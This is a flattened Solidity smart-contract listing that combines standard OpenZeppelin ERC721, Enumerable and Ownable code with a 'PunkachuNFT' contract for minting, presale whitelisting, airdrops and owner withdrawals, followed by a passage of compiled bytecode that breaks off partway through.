{xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract PunkachuNFT is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 30000000000000000; // 0.03 eth uint256 public maxSupply = 2900; uint256 public maxMintAmountPerTransaction = 20; uint256 public maxPresaleMintAmount = 3; uint256 public NFTPerAddressLimit = 20; bool public paused = true; bool public presale = true; address[] private airdropList; address[] private whiteList; constructor(string memory _initBaseURI) ERC721("Punkachus", "PKCHU") { setBaseURI(_initBaseURI); _safeMint(msg.sender, 1); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mintPunkachus(uint256 _mintAmount) public payable { require(!paused, "The sale is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "Need to mint at least 1 NFT"); require(supply + _mintAmount <= maxSupply, "Max NFT limit exceeded"); if (!presale) // Normal Minting code { if (msg.sender != owner()) { require(_mintAmount <= maxMintAmountPerTransaction, "Max mint amount per session exceeded"); require(balanceOf(msg.sender) + _mintAmount <= NFTPerAddressLimit, "NFT Limit per Account reached"); require(msg.value >= cost * _mintAmount, "Insufficient funds"); } } else // Presale code { require(isAccountWhiteListed(msg.sender), "Account not eligible for presale"); require(balanceOf(msg.sender) + _mintAmount <= maxPresaleMintAmount, "NFT Limit per Account reached for presale"); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } function isAccountWhiteListed(address _account) public view returns (bool) { for (uint256 i = 0; i < whiteList.length; i++) { if (_account == whiteList[i]){ return true; } } return false; } //only contract owner function airdropToList() public payable onlyOwner { require(!paused, "The sale is paused"); uint256 supply = totalSupply(); require(supply + airdropList.length <= maxSupply, "Max NFT limit exceeded"); for (uint256 i = 0; i < airdropList.length; i++) { if (balanceOf(airdropList[i]) < NFTPerAddressLimit) { _safeMint(airdropList[i], supply + i + 1); } } } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintAmountPerTransaction(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmountPerTransaction = _newmaxMintAmount; } function setNFTPerAddressLimit(uint256 _newNFTPerAddressLimit) public onlyOwner { NFTPerAddressLimit = _newNFTPerAddressLimit; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function flipPause() public onlyOwner { paused = !paused; } function flipPresale() public onlyOwner { presale = !presale; } function setAirdropList(address[] calldata _users) public onlyOwner { delete airdropList; airdropList = _users; } function getAirdropList() public view onlyOwner returns (address[] memory) { return airdropList; } function setWhiteList(address[] calldata _users) public onlyOwner { delete whiteList; whiteList = _users; } function getWhiteList() public view onlyOwner returns (address[] memory) { return whiteList; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x6080604052600436106102665760003560e01c80636352211e11610144578063a22cb465116100b6578063c87b56dd1161007a578063c87b56dd146106c1578063d5abeb01146106e1578063da3ef23f146106f7578063e985e9c514610717578063f2fde38b14610760578063fdea8e0b1461078057600080fd5b8063a22cb46514610636578063a9e2acd514610656578063b88d4fde14610676578063bbb8974414610696578063c6682862146106ac57600080fd5b8063715018a611610108578063715018a6146105b0578063775b9c13146105c55780637c8d516d146105e557806385480756146105ed5780638da5cb5b1461060357806395d89b411461062157600080fd5b80636352211e1461051b57806369df6b8b1461053b5780636c0360eb1461055b5780636d47bcab1461057057806370a082311461059057600080fd5b8063385df649116101dd57806344a0d68a116101a157806344a0d68a146104795780634e87fd91146104995780634f6ccce7146104ac5780634f6fcc46146104cc57806355f804b3146104e15780635c975abb1461050157600080fd5b8063385df649146103e25780633ccfd60b146103f757806341a9c72a1461040c57806342842e0e1461042c578063438b63001461044c57600080fd5b806309a9d76c1161022f57806309a9d76c1461033157806313faede61461035357806318160ddd1461037757806323b872dd1461038c57806324e6b5a5146103ac5780632f745c59146103c257600080fd5b8062acf3481461026b57806301ffc9a71461028257806306fdde03146102b7578063081812fc146102d9578063095ea7b314610311575b600080fd5b34801561027757600080fd5b5061028061079f565b005b34801561028e57600080fd5b506102a261029d366004612667565b6107ef565b60405190151581526020015b60405180910390f35b3480156102c357600080fd5b506102cc61081a565b6040516102ae91906128b5565b3480156102e557600080fd5b506102f96102f43660046126ea565b6108ac565b6040516001600160a01b0390911681526020016102ae565b34801561031d57600080fd5b5061028061032c3660046125c8565b610941565b34801561033d57600080fd5b50610346610a57565b6040516102ae9190612830565b34801561035f57600080fd5b50610369600d5481565b6040519081526020016102ae565b34801561038357600080fd5b50600854610369565b34801561039857600080fd5b506102806103a73660046124d4565b610ae3565b3480156103b857600080fd5b5061036960115481565b3480156103ce57600080fd5b506103696103dd3660046125c8565b610b14565b3480156103ee57600080fd5b50610280610baa565b34801561040357600080fd5b50610280610be8565b34801561041857600080fd5b506102806104273660046125f2565b610c45565b34801561043857600080fd5b506102806104473660046124d4565b610c87565b34801561045857600080fd5b5061046c610467366004612486565b610ca2565b6040516102ae919061287d565b34801561048557600080fd5b506102806104943660046126ea565b610d44565b6102806104a73660046126ea565b610d73565b3480156104b857600080fd5b506103696104c73660046126ea565b6110a2565b3480156104d857600080fd5b50610346611135565b3480156104ed57600080fd5b506102806104fc3660046126a1565b6111c0565b34801561050d57600080fd5b506012546102a29060ff1681565b34801561052757600080fd5b506102f96105363660046126ea565b6111fd565b34801561054757600080fd5b506102a2610556366004612486565b611274565b34801561056757600080fd5b506102cc6112d8565b34801561057c57600080fd5b5061028061058b3660046126ea565b611366565b34801561059c57600080fd5b506103696105ab366004612486565b611395565b3480156105bc57600080fd5b5061028061141c565b3480156105d157600080fd5b506102806105e03660046125f2565b611452565b610280611494565b3480156105f957600080fd5b5061036960105481565b34801561060f57600080fd5b50600a546001600160a01b03166102f9565b34801561062d57600080fd5b506102cc611604565b34801561064257600080fd5b5061028061065136600461258c565b611613565b34801561066257600080fd5b506102806106713660046126ea565b6116d8565b34801561068257600080fd5b50610280610691366004612510565b611707565b3480156106a257600080fd5b50610369600f5481565b3480156106b857600080fd5b506102cc61173f565b3480156106cd57600080fd5b506102cc6106dc3660046126ea565b61174c565b3480156106ed57600080fd5b50610369600e5481565b34801561070357600080fd5b506102806107123660046126a1565b61182a565b34801561072357600080fd5b506102a26107323660046124a1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561076c57600080fd5b5061028061077b366004612486565b611867565b34801561078c57600080fd5b506012546102a290610100900460ff1681565b600a546001600160a01b031633146107d25760405162461bcd60e51b81526004016107c99061291a565b60405180910390fd5b6012805461ff001981166101009182900460ff1615909102179055565b60006001600160e01b0319821663780e9d6360e01b1480610814575061081482611908565b92915050565b60606000805461082990612a2e565b80601f016020809104026020016040519081016040528092919081815260200182805461085590612a2e565b80156108a25780601f10610877576101008083540402835291602001916108a2565b820191906000526020600020905b81548152906001019060200180831161088557829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109255760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107c9565b506000908152600460205260409020546001600160a01b031690565b600061094c826111fd565b9050806001600160a01b0316836001600160a01b031614156109ba5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107c9565b336001600160a01b03821614806109d657506109d68133610732565b610a485760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107c9565b610a528383611958565b505050565b600a546060906001600160a01b03163314610a845760405162461bcd60e51b81526004016107c99061291a565b60148054806020026020016040519081016040528092919081815260200182805480156108a257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610abc575050505050905090565b610aed33826119c6565b610b095760405162461bcd60e51b81526004016107c99061294f565b610a52838383611abd565b6000610b1f83611395565b8210610b815760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016107c9565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610bd45760405162461bcd60e51b81526004016107c99061291a565b6012805460ff19811660ff90911615179055565b600a546001600160a01b03163314610c125760405162461bcd60e51b81526004016107c99061291a565b6040514790339082156108fc029083906000818181858888f19350505050158015610c41573d6000803e3d6000fd5b5050565b600a546001600160a01b03163314610c6f5760405162461bcd60e51b81526004016107c99061291a565b610c7b601360006122ea565b610a5260138383612308565b610a5283838360405180602001604052806000815250611707565b60606000610caf83611395565b905060008167ffffffffffffffff811115610ccc57610ccc612af0565b604051908082528060200260200182016040528015610cf5578160200160208202803683370190505b50905060005b82811015610d3c57610d0d8582610b14565b828281518110610d1f57610d1f612ada565b602090810291909101015280610d3481612a69565b915050610cfb565b509392505050565b600a546001600160a01b03163314610d6e5760405162461bcd60e51b81526004016107c99061291a565b600d55565b60125460ff1615610dbb5760405162461bcd60e51b8152602060048201526012602482015271151a19481cd85b19481a5cc81c185d5cd95960721b60448201526064016107c9565b6000610dc660085490565b905060008211610e185760405162461bcd60e51b815260206004820152601b60248201527f4e65656420746f206d696e74206174206c656173742031204e4654000000000060448201526064016107c9565b600e54610e2583836129a0565b1115610e6c5760405162461bcd60e51b815260206004820152601660248201527513585e08139195081b1a5b5a5d08195e18d95959195960521b60448201526064016107c9565b601254610100900460ff16610fa757600a546001600160a01b03163314610fa257600f54821115610eeb5760405162461bcd60e51b8152602060048201526024808201527f4d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b60648201526084016107c9565b60115482610ef833611395565b610f0291906129a0565b1115610f505760405162461bcd60e51b815260206004820152601d60248201527f4e4654204c696d697420706572204163636f756e74207265616368656400000060448201526064016107c9565b81600d54610f5e91906129cc565b341015610fa25760405162461bcd60e51b8152602060048201526012602482015271496e73756666696369656e742066756e647360701b60448201526064016107c9565b611073565b610fb033611274565b610ffc5760405162461bcd60e51b815260206004820181905260248201527f4163636f756e74206e6f7420656c696769626c6520666f722070726573616c6560448201526064016107c9565b6010548261100933611395565b61101391906129a0565b11156110735760405162461bcd60e51b815260206004820152602960248201527f4e4654204c696d697420706572204163636f756e74207265616368656420666f604482015268722070726573616c6560b81b60648201526084016107c9565b60015b828111610a52576110903361108b83856129a0565b611c68565b8061109a81612a69565b915050611076565b60006110ad60085490565b82106111105760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016107c9565b6008828154811061112357611123612ada565b90600052602060002001549050919050565b600a546060906001600160a01b031633146111625760405162461bcd60e51b81526004016107c99061291a565b60138054806020026020016040519081016040528092919081815260200182805480156108a2576020028201919060005260206000209081546001600160a01b03168152600190910190602001808311610abc575050505050905090565b600a546001600160a01b031633146111ea5760405162461bcd60e51b81526004016107c99061291a565b8051610c4190600b90602084019061236b565b6000818152600260205260408120546001600160a01b0316806108145760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107c9565b6000805b6014548110156112cf576014818154811061129557611295612ada565b6000918252602090912001546001600160a01b03848116911614156112bd5750600192915050565b806112c781612a69565b915050611278565b50600092915050565b600b80546112e590612a2e565b80601f016020809104026020016040519081016040528092919081815260200182805461131190612a2e565b801561135e5780601f106113335761010080835404028352916020019161135e565b820191906000526020600020905b81548152906001019060200180831161134157829003601f168201915b505050505081565b600a546001600160a01b031633146113905760405162461bcd60e51b81526004016107c99061291a565b601155565b60006001600160a01b0382166114005760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107c9565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146114465760405162461bcd60e51b81526004016107c99061291a565b6114506000611c82565b565b600a546001600160a01b0316331461147c5760405162461bcd60e51b81526004016107c99061291a565b611488601460006122ea565b610a5260148383612308565b600a546001600160a01b031633146114be5760405162461bcd60e51b81526004016107c99061291a565b60125460ff16156115065760405162461bcd60e51b8152602060048201526012602482015271151a19481cd85b19481a5cc81c185d5cd95960721b60448201526064016107c9565b600061151160085490565b600e546013549192509061152590836129a0565b111561156c5760405162461bcd60e51b815260206004820152601660248201527513585e08139195081b1a5b5a5d081